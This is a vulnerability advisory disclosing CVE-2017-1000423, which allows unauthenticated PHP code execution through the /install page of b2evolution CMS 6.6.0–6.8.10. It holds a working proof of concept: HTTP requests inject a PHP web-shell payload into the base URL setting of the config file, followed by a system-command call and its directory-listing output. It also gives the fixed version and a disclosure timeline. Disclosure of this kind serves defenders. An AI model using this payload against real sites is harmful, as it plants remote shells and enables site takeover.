b2evolution CMS 6.6.0 - 6.8.10 PHP code execution
#################################################

Information
===========

Name:          b2evolution CMS 6.8.10
Software:      b2evolution CMS
Homepage:      http://b2evolution.net/
Vulnerability: PHP code execution
Prerequisites: publicly accessible /install functionality
CVE:           CVE-2017-1000423
Credit:        Anti RA$?is
HTML version:  https://bitflipper.eu

Description
===========

Unauthenticated user with access to `/install` functionality can
configure the
application installation parameters and complete the installation. This
functionality can be used to execute PHP code on the server.

Proof of Concept
================

Application needs to be installed and configured after coping the source
code
to the server. After installation and configuration (`/install`) is
complete,
the application will create a `/conf/_basic_config.php` file. It contains
database connection credentials and other settings. Unauthenticated attacker
with access to `/intall` functionality can use it to execute PHP code by
injecting it into different values.

Following scenario demonstrates the issue on Apache web-server.

Following request is made after base configuration is completed:
================[ src start ]================
POST /install/index.php HTTP/1.1
Host: victim.site
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
Connection: close

conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root&
conf_db_password=root&conf_baseurl=http%3A%2F%2Fvictim.site%2F&
conf_admin_email=admin%40localhost&submit=Update+config+file&
action=conf&locale=en-US
================[ src end ]==================

Application creates the `/conf/_basic_config.php` using user supplied
values:

================[ src start ]================
...
/**
 * MySQL DB settings.
 * Fill in your database details (check carefully or nothing will work!)
 */
$db_config = array(
  'user'     => 'root',         // your MySQL username
  'password' => 'root',         // ...and password
  'name'     => 'b2evolution',  // the name of the database
  'host'     => 'localhost',    // MySQL Server (typically 'localhost')
);
...
$baseurl = 'http://victim.site/';
...
$admin_email = 'admin@localhost';
...
================[ src end ]==================

In case the application is installed on public server, the installation
functionality is publicly accessible to everyone accessing the vulnerable
site. Assuming that the attacker manages to find a application in this
state,
before the initial installation in completed, they can use previously
described
request to execute PHP code on the victim's server.

Following parameters are vulnerable and can be used for this attack:
  * conf_db_tableprefix
  * conf_admin_email
  * conf_baseurl

Let's use `conf_baseurl` for example. Attacker specifies the following
value as
base URL:

================[ src start ]================
http://victim.site/\\';$r=$_REQUEST;if(isset($r[0])){$r[0]($r[1]);}/*
================[ src end ]==================

After finishing the basic setup, following request is made.

================[ src start ]================
POST /install/index.php HTTP/1.1
Host: victim.site
Content-Length: 319
Content-Type: application/x-www-form-urlencoded
Connection: close

conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root&
conf_db_password=root&
conf_baseurl=http%3A%2F%2Fvictim.site%2F%5C%5C%27%3B%24r%3D%24_REQUEST%3Bif
%28isset%28%24r%5B0%5D%29%29%7B%24r%5B0%5D%28%24r%5B1%5D%29%3B%7D%2F*&
conf_admin_email=admin%40localhost&submit=Update+config+file&action=conf&
locale=en-US
================[ src end ]==================

Application creates the `/conf/_basic_config.php` using attacker given
values:

================[ src start ]================
...
/**
 * MySQL DB settings.
 * Fill in your database details (check carefully or nothing will work!)
 */
$db_config = array(
  'user'     => 'root',         // your MySQL username
  'password' => 'root',         // ...and password
  'name'     => 'b2evolution',  // the name of the database
  'host'     => 'localhost',    // MySQL Server (typically 'localhost')
);
...
$baseurl = 'http://victim.site/\\';$r=$_REQUEST;
  if(isset($r[0])){$r[0]($r[1]);}/*/';
...
$admin_email = 'admin@localhost';
...
================[ src end ]==================

Attacker can use the PHP shell to execute code and take control of the site:
view-source:http://victim.site/install/index.php?0=system&1=ls%20-lah;pwd

================[ src start ]================

total 676K
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 .
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:36 ..
-rw-rw-rw- 1 vagrant vagrant  60K Jul 23 00:26 _functions_create.php
-rw-rw-rw- 1 vagrant vagrant 2.2K Jul 23 00:26 _functions_delete.php
-rw-rw-rw- 1 vagrant vagrant 349K Jul 23 00:26 _functions_evoupgrade.php
-rw-rw-rw- 1 vagrant vagrant  60K Jul 23 00:26 _functions_install.php
-rw-rw-rw- 1 vagrant vagrant  14K Jul 23 00:26 automated-install.html
-rw-rw-rw- 1 vagrant vagrant  13K Jul 23 00:26 debug.php
-rw-rw-rw- 1 vagrant vagrant  831 Jul 23 00:26 index.html
-rw-rw-rw- 1 vagrant vagrant  52K Jul 23 00:26 index.php
-rw-rw-rw- 1 vagrant vagrant  16K Jul 23 00:26 license.txt
-rw-rw-rw- 1 vagrant vagrant  523 Jul 23 00:26 phpinfo.php
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 test
/var/www/b2evolution/install
...
================[ src end ]==================

Impact
======

Unauthenticated attacker can execute PHP code on the server. This can be
used
to further compromise the site and hide the initial shell on the server.

Conclusion
==========

Unrestricted access to basic install functionality allows unauthenticated
attacker to execute PHP code on the server and compromise the site.

New release has been made available to mitigate this issue:

* http://b2evolution.net/downloads/6-9-3

Timeline
========

* 08.08.2017 | me                 | vulnerability discovered
* 08.08.2017 | me > developer     | contacted the developer
* 09.08.2017 | developer          | vulnerability patched
* 12.08.2017 | me > DWF           | CVE requested
* 12.08.2017 | me > developer     | asked about patch release estimate
* 25.08.2017 | developer > public | new release with patch made available
* 31.08.2017 | me > public        | full disclosure
* 29.12.2017 | DWF > me           | CVE assigned

---
Anti RA$?is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com